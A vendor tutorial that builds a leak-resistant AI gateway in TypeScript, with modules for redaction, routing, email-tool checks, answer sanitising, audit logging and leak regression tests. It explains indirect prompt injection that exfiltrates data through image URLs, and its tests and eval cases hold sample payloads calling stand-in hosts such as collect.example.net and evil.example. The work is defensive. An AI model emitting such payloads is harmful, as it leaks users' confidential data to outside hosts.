AI & automation14 min read · Updated 5 November 2026

Build a leak-resistant AI gateway for a professional office

Six small TypeScript modules that sit between your staff and any model, each covered by a test. Plus the one gap that code cannot close.

In short

Put a gateway between staff and every model. It swaps identifiers for reversible placeholders, keeps confidential work on a local model, makes every write wait for a person, strips external links and images from answers, logs one hashed line per event and replays known leaks as tests. The six modules below are plain TypeScript, tested with Node’s built-in runner.

A black equipment rack with servers, network ports and cabling.
Illustrative image generated with AI.

This tutorial turns the layers from our guide to the API-wrapper myth into code. Each module does one job, has no dependencies beyond Node, and comes with the test that proves it.

The code on this page is generated from the same files the tests run. If a file changes without the page, the test suite fails.

What we are building

Every request from staff goes through the gateway. It redacts, picks a model, checks any tool call, cleans the answer and writes an audit line. The vendor, if it is used at all, only sees placeholders.

Staff send requests to the gateway, which redacts and routes them to a local model or a vendor API, checks tool calls and writes an audit log.Staff, Gateway, Local model, Tools, Vendor API, Audit log. staff → gw (request); gw → local; gw → tools; gw → vendor; tools → audit (log).requestlogStaffSSO sign-inGatewayredact · routeLocal modelconfidentialToolsconfirm writesVendor APIplaceholders onlyAudit loghashed lines
The dashed path is optional: low-risk work only, on a plan with a data processing agreement.

1. Redact into reversible placeholders

Detectors return spans; redact swaps each span for a placeholder like [[EMAIL_1]] and keeps the original in a vault that never leaves the office. The same value always gets the same placeholder, so the model can still tell two people apart. restore puts the originals back into the answer.

redact.ts
/** A span of sensitive text found by a detector. */export type Span = { kind: string; start: number; end: number };export type Detector = (text: string) => Span[];const PATTERNS: [kind: string, re: RegExp][] = [ ['EMAIL', /[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g], ['IBAN', /\b[A-Z]{2}\d{2}(?: ?[A-Z0-9]{4}){3,7}(?: ?[A-Z0-9]{1,4})?\b/g], ['OIB', /\b\d{11}\b/g], ['PHONE', /\+\d{1,3}[ /-]?\d{1,4}(?:[ /-]?\d{2,4}){2,4}/g],];/** Regex detector: catches anything with a recognisable shape. */export function patternDetector(kinds = PATTERNS.map(([kind]) => kind)): Detector { return (text) => PATTERNS.filter(([kind]) => kinds.includes(kind)).flatMap(([kind, re]) => [...text.matchAll(re)].map((m) => ({ kind, start: m.index!, end: m.index! + m[0].length })) );}/** Exact names exported from your case or client system: matters, clients, deals. */export function nameListDetector(names: string[]): Detector { return (text) => { const lower = text.toLowerCase(); return names.flatMap((name) => { const spans: Span[] = []; for (let i = lower.indexOf(name.toLowerCase()); i !== -1; i = lower.indexOf(name.toLowerCase(), i + 1)) { spans.push({ kind: 'NAME', start: i, end: i + name.length }); } return spans; }); };}/** Swaps every span for a placeholder; the vault maps placeholders back. */export function redact(text: string, detectors: Detector[]) { const spans = detectors .flatMap((detect) => detect(text)) .sort((a, b) => a.start - b.start || b.end - a.end); const vault = new Map<string, string>(); // placeholder -> original const seen = new Map<string, string>(); // original -> placeholder const counts: Record<string, number> = {}; let out = ''; let cursor = 0; for (const span of spans) { if (span.start < cursor) continue; // overlaps a span already replaced const value = text.slice(span.start, span.end); let placeholder = seen.get(value); if (!placeholder) { counts[span.kind] = (counts[span.kind] ?? 0) + 1; placeholder = `[[${span.kind}_${counts[span.kind]}]]`; seen.set(value, placeholder); vault.set(placeholder, value); } out += text.slice(cursor, span.start) + placeholder; cursor = span.end; } return { text: out + text.slice(cursor), vault, counts };}/** Puts the originals back into the model's answer, inside the office. */export function restore(text: string, vault: Map<string, string>): string { let out = text; for (const [placeholder, value] of vault) out = out.split(placeholder).join(value); return out;}
Regex detectors for shapes, a name list for what has no shape.

The name list is the cheap, reliable detector most offices skip: export client, matter and deal names from your case or practice system and match them exactly. It catches “Project Falcon”, which no regex will.

2. Route by sensitivity

Three signals keep a request local: a confidential label on the document, a classifier score at or above 0.5, or any redaction at all. A label the gateway does not recognise also stays local. Failing closed is the point.

route.ts
export type Label = 'public' | 'internal' | 'confidential';export type Route = { target: 'local' | 'vendor'; reason: string };/** Confidential work never leaves: the label, the classifier or any redaction keeps it local. */export function chooseModel(input: { label: Label; redactions: number; classifierScore: number }): Route { if (input.label === 'confidential') return { target: 'local', reason: 'label' }; if (input.classifierScore >= 0.5) return { target: 'local', reason: 'classifier' }; if (input.redactions > 0) return { target: 'local', reason: 'personal-data' }; if (input.label === 'public' || input.label === 'internal') return { target: 'vendor', reason: 'default' }; return { target: 'local', reason: 'unknown-label' }; // fail closed}
Anything uncertain goes to the local model.

3. Confirm every write, allow listed domains only

An agent that can send email can send data. checkEmail never allows a send on its own: recipients outside the allowlist are refused, and everything else waits for a person to click confirm. Note the exact domain match, so office.example.evil.net does not pass.

tools.ts
export type EmailCall = { tool: 'send_email'; to: string[]; cc?: string[]; subject: string; body: string };export type Verdict = { action: 'deny' | 'confirm'; reason: string };/** Every write waits for a person; recipients outside the allowlist are refused outright. */export function checkEmail(call: EmailCall, allowedDomains: string[]): Verdict { const allowed = new Set(allowedDomains.map((d) => d.toLowerCase())); const recipients = [...call.to, ...(call.cc ?? [])]; if (recipients.length === 0) return { action: 'deny', reason: 'no-recipients' }; for (const address of recipients) { const match = /^[^@\s]+@([a-z0-9.-]+)$/i.exec(address.trim()); if (!match) return { action: 'deny', reason: `malformed:${address}` }; const domain = match[1].toLowerCase(); if (!allowed.has(domain)) return { action: 'deny', reason: `domain:${domain}` }; } return { action: 'confirm', reason: 'write-needs-human' };}
The verdict is either deny or confirm. There is no automatic allow.

4. Sanitise the answer

Indirect prompt injection works by getting the model to emit something the chat client fetches, usually an image whose URL carries data. The sanitiser removes every image, drops links to hosts that are not listed and replaces bare external URLs.

sanitize.ts
/** Strips what a client would fetch or follow: images always, links unless the host is listed. */export function sanitize(markdown: string, allowedHosts: string[]) { const allowed = new Set(allowedHosts.map((h) => h.toLowerCase())); const isAllowed = (url: string) => { try { const u = new URL(url); return u.protocol === 'https:' && allowed.has(u.hostname.toLowerCase()); } catch { return false; // relative, protocol-relative or broken: not allowed } }; let removed = 0; const text = markdown .replace(/!\[[^\]]*\]\([^)]*\)/g, () => (removed++, '[image removed]')) .replace(/<img\b[^>]*>/gi, () => (removed++, '[image removed]')) .replace(/\[([^\]]*)\]\(([^)\s]*)[^)]*\)/g, (link, label: string, url: string) => isAllowed(url) ? link : (removed++, label) ) // A bare URL ends before trailing punctuation, so "see https://x.example." keeps its full stop. .replace(/https?:\/\/[^\s)\]>"']*[^\s)\]>"'.,;:!?]/g, (url) => (isAllowed(url) ? url : (removed++, '[link removed]'))); return { text, removed };}
Images always go; links stay only for listed hosts.

Writing the test for this module caught a real bug: the first version swallowed the full stop after a bare URL. The regex now stops before trailing punctuation.

5. One audit line per event

Each prompt, retrieval and tool call gets one JSON line: who, what, where it went, how many items were redacted and the decision. The raw text is never logged. Its SHA-256 hash lets you match a line to a document during an incident without storing the document twice.

audit.ts
import { createHash } from 'node:crypto';export type AuditEvent = { user: string; action: 'prompt' | 'retrieval' | 'tool'; target: string; redactions: Record<string, number>; decision: string; input: string;};/** One JSON line per event. The raw text is never logged, only its hash. */export function auditLine(event: AuditEvent, now = new Date()): string { const { input, ...rest } = event; return JSON.stringify({ ts: now.toISOString(), ...rest, input_sha256: createHash('sha256').update(input).digest('hex'), });}
No raw text in the log, only counts and a hash.
audit.log
$ tail -n 1 audit.log{"ts":"2026-11-05T09:14:02.000Z","user":"ana","action":"prompt","target":"local","redactions":{"EMAIL":1,"IBAN":1},"decision":"routed:personal-data","input_sha256":"b76329880ff6671a17edf2047b1e5d16410a791ba0538b39675fa4569e30b931"}
Output of auditLine() for “Refund ana.horvat@example.com to HR1210010051863000160.” (invented test data).

6. Evals that fail on a regression

Every leak you have seen becomes a case: an input and the strings that must never come out. The set only grows. When someone drops a detector to fix a false positive, the run fails and names the case that reopened.

evals.ts
export type LeakCase = { name: string; input: string; mustNotContain: string[] };/** Known leaks. Each one stays here forever: a rule change that reopens it fails the run. */export const LEAK_CASES: LeakCase[] = [ { name: 'identifiers in a prompt', input: 'Refund client ana.horvat@example.com to HR1210010051863000160, OIB 12345678903.', mustNotContain: ['ana.horvat@example.com', 'HR1210010051863000160', '12345678903'], }, { name: 'a matter name with no pattern', input: 'Summarise where Project Falcon stands before the board meets.', mustNotContain: ['Project Falcon'], }, { name: 'an exfiltration image in model output', input: 'Done. ![status](https://collect.example.net/p?d=HR1210010051863000160)', mustNotContain: ['collect.example.net'], },];/** Runs every case through the pipeline; returns the names of the cases that leaked. */export function runEvals(pipeline: (input: string) => string, cases = LEAK_CASES): string[] { return cases .filter((c) => { const out = pipeline(c.input); return c.mustNotContain.some((secret) => out.includes(secret)); }) .map((c) => c.name);}
Known leaks, kept forever.
gateway.test.ts
import { test } from 'node:test';import assert from 'node:assert/strict';import { nameListDetector, patternDetector, redact, restore } from './redact';import { chooseModel } from './route';import { checkEmail } from './tools';import { sanitize } from './sanitize';import { auditLine } from './audit';import { LEAK_CASES, runEvals } from './evals';const MATTERS = nameListDetector(['Project Falcon']);const ALLOWED_HOSTS = ['intranet.office.example'];/** What leaves the office: redacted input, sanitised output. */const pipeline = (detectors = [patternDetector(), MATTERS]) => (input: string) => sanitize(redact(input, detectors).text, ALLOWED_HOSTS).text;test('redaction swaps identifiers for placeholders and restores them', () => { const input = 'Email ana.horvat@example.com, IBAN HR12 1001 0051 8630 0016 0, phone +385 91 234 5678, OIB 12345678903.'; const { text, vault, counts } = redact(input, [patternDetector()]); assert.equal( text, 'Email [[EMAIL_1]], IBAN [[IBAN_1]], phone [[PHONE_1]], OIB [[OIB_1]].' ); assert.deepEqual(counts, { EMAIL: 1, IBAN: 1, PHONE: 1, OIB: 1 }); assert.equal(restore(text, vault), input);});test('the same value gets the same placeholder', () => { const { text } = redact('a@x.example wrote to b@x.example, then a@x.example again', [patternDetector()]); assert.equal(text, '[[EMAIL_1]] wrote to [[EMAIL_2]], then [[EMAIL_1]] again');});test('patterns miss a matter name; the name list catches it', () => { const input = 'Where does Project Falcon stand?'; assert.equal(redact(input, [patternDetector()]).text, input); assert.equal(redact(input, [patternDetector(), MATTERS]).text, 'Where does [[NAME_1]] stand?');});test('routing keeps confidential and personal data local', () => { assert.equal(chooseModel({ label: 'confidential', redactions: 0, classifierScore: 0 }).target, 'local'); assert.equal(chooseModel({ label: 'internal', redactions: 0, classifierScore: 0.8 }).target, 'local'); assert.equal(chooseModel({ label: 'internal', redactions: 2, classifierScore: 0 }).target, 'local'); assert.equal(chooseModel({ label: 'public', redactions: 0, classifierScore: 0.1 }).target, 'vendor'); // A label the gateway does not know fails closed. assert.equal(chooseModel({ label: 'secret' as never, redactions: 0, classifierScore: 0 }).target, 'local');});test('email tool: allowlisted domains need confirmation, everything else is denied', () => { const call = { tool: 'send_email' as const, subject: 'Draft', body: '...' }; assert.deepEqual(checkEmail({ ...call, to: ['partner@office.example'] }, ['office.example']), { action: 'confirm', reason: 'write-needs-human', }); assert.equal(checkEmail({ ...call, to: ['me@gmail.com'] }, ['office.example']).reason, 'domain:gmail.com'); assert.equal(checkEmail({ ...call, to: ['x@office.example.evil.net'] }, ['office.example']).action, 'deny'); assert.equal(checkEmail({ ...call, to: ['partner@office.example'], cc: ['me@gmail.com'] }, ['office.example']).action, 'deny'); assert.equal(checkEmail({ ...call, to: [] }, ['office.example']).reason, 'no-recipients');});test('sanitiser strips images and external links, keeps allowed links', () => { const md = [ 'See ![chart](https://collect.example.net/x.png?d=secret).', 'Read [the policy](https://intranet.office.example/ai-policy).', 'Or [this](https://evil.example/steal?d=1) and https://evil.example/raw.', '<img src="https://evil.example/p.gif">', ].join('\n'); const { text, removed } = sanitize(md, ALLOWED_HOSTS); assert.equal( text, [ 'See [image removed].', 'Read [the policy](https://intranet.office.example/ai-policy).', 'Or this and [link removed].', '[image removed]', ].join('\n') ); assert.equal(removed, 4);});test('audit line carries counts and a hash, never the text', () => { const line = auditLine( { user: 'ana', action: 'prompt', target: 'local', redactions: { EMAIL: 1 }, decision: 'routed', input: 'secret text' }, new Date('2026-11-05T09:00:00Z') ); const parsed = JSON.parse(line); assert.equal(parsed.ts, '2026-11-05T09:00:00.000Z'); assert.equal(parsed.input_sha256.length, 64); assert.ok(!line.includes('secret text'));});test('evals pass with the full rule set', () => { assert.deepEqual(runEvals(pipeline()), []);});test('evals fail when a rule change reopens a known leak', () => { // Someone drops the IBAN pattern to fix a false positive. const weakened = pipeline([patternDetector(['EMAIL', 'OIB', 'PHONE']), MATTERS]); assert.deepEqual(runEvals(weakened), ['identifiers in a prompt']); assert.equal(LEAK_CASES.length, 3);});test('the tutorial embeds exactly these files', async () => { const { readFileSync } = await import('node:fs'); const { AI_GATEWAY_CODE } = await import('../../lib/aiGatewayCode.generated'); for (const [name, code] of Object.entries(AI_GATEWAY_CODE)) { assert.equal(code, readFileSync(new URL(`./${name}`, import.meta.url), 'utf8'), `${name} is stale: run embed.mjs`); }});
Node’s built-in test runner; run with tsx.
tests
$ npm run test:ai-gateway✔ redaction swaps identifiers for placeholders and restores them✔ patterns miss a matter name; the name list catches it✔ routing keeps confidential and personal data local✔ email tool: allowlisted domains need confirmation, everything else is denied✔ sanitiser strips images and external links, keeps allowed links✔ evals fail when a rule change reopens a known leakℹ tests 10  pass 10  fail 0
Shortened: four of the ten passing tests are omitted.

The gap this code cannot close

None of this runs when an employee pastes a client file into a personal chatbot on their phone. That gap closes with a sanctioned tool good enough to use, browser and device policies on work hardware, a one-page AI policy and short training. Our guide covers each.

If part of the work goes to a vendor, choose the plan with care. Our comparison of personal, business and API plans shows which train on chats and how long each keeps data. What a leak costs in law is on our AI data-leakage page.

Key takeaways

  • Redact into reversible placeholders; the vault never leaves the office.
  • Route anything uncertain to the local model: fail closed.
  • Writes always wait for a person; recipients outside the allowlist are refused.
  • Strip images and unlisted links from answers to stop injection-based leaks.
  • Log counts and hashes, not text, and replay every known leak as a test.

Frequently asked questions

Why not use an existing DLP product?

If you already pay for one, use it as a detector: the gateway accepts any function that returns spans. What matters is where the gateway sits, between staff and every model, not which detector it runs.

Can one gateway serve a local model and a vendor model?

Yes. chooseModel returns local or vendor, and the request handler calls the matching client. Keep the vendor path on a business plan or API with a data processing agreement.

Where are the placeholders restored?

Inside the gateway, after the answer comes back and before the user sees it. The vault never leaves the office, so a vendor only ever sees [[EMAIL_1]].

How many leak cases does the eval set need?

Start with every leak you have seen or tested and add one per incident. The set only grows; a rule change that breaks an old case fails the run.

Sources

Pages we checked for the facts above, with the date we last read them.

  1. LLM01:2025 Prompt Injection — OWASP Gen AI Security Project, checked 2026-11-05
    Indirect prompt injection and exfiltration through an inserted image URL, which the sanitiser targets.
  2. Enterprise privacy at OpenAI — OpenAI, checked 2026-11-05
    API data not used for training by default; DPA available for the vendor path.
  3. How long do you store my organization’s data? — Anthropic Privacy Center, checked 2026-11-05
    API inputs and outputs deleted within 30 days by default.

See it on one of your own workflows

We start with a demo on synthetic data: one office workflow, a local model and the gateway rules from these articles. Real client data comes in only after a written scope.

Book a demo on synthetic data

Tell us which workflow you want to speed up. The demo needs none of your real data.

  • Fixed-scope quote — no obligation
  • Reply within 1 business day

By sending this, you agree that we may contact you about this inquiry.

Prefer to talk first? Reach us directly:Contact page
Private AI deployment: operating models and data flow →

About the author

Paxa Media

Written by Paxa Media, a technology company based in Rijeka, Croatia. Price ranges in our guides are indicative; your quote depends on scope.

Why you can trust this

  • Builds the kinds of systems described here — websites, web and mobile apps, automation and integrations
  • Technology company based in Rijeka, Croatia
  • Price ranges in these guides are indicative, not quotes; scope sets the final price

Keep reading

All tutorials →
AI & automation

ChatGPT behind your own API does not keep client data private

An internal wrapper changes the interface, not where the data goes. Eight layers of defence, the leak each one misses, and why the last gap is a personal chatbot.

AI & automation

Where client data goes: personal AI, business plans, APIs and a local model

Same model, very different terms. What happens to a client file on a personal plan, a business plan, the API and a model on your own hardware, checked on the vendors’ pages.

AI & automation

Run a Local AI Agent on Your Own Machine: OpenClerq in About 15 Minutes

A local administrative agent that never sends your files anywhere. Install it, start the gateway, make the first call, and understand what it is doing.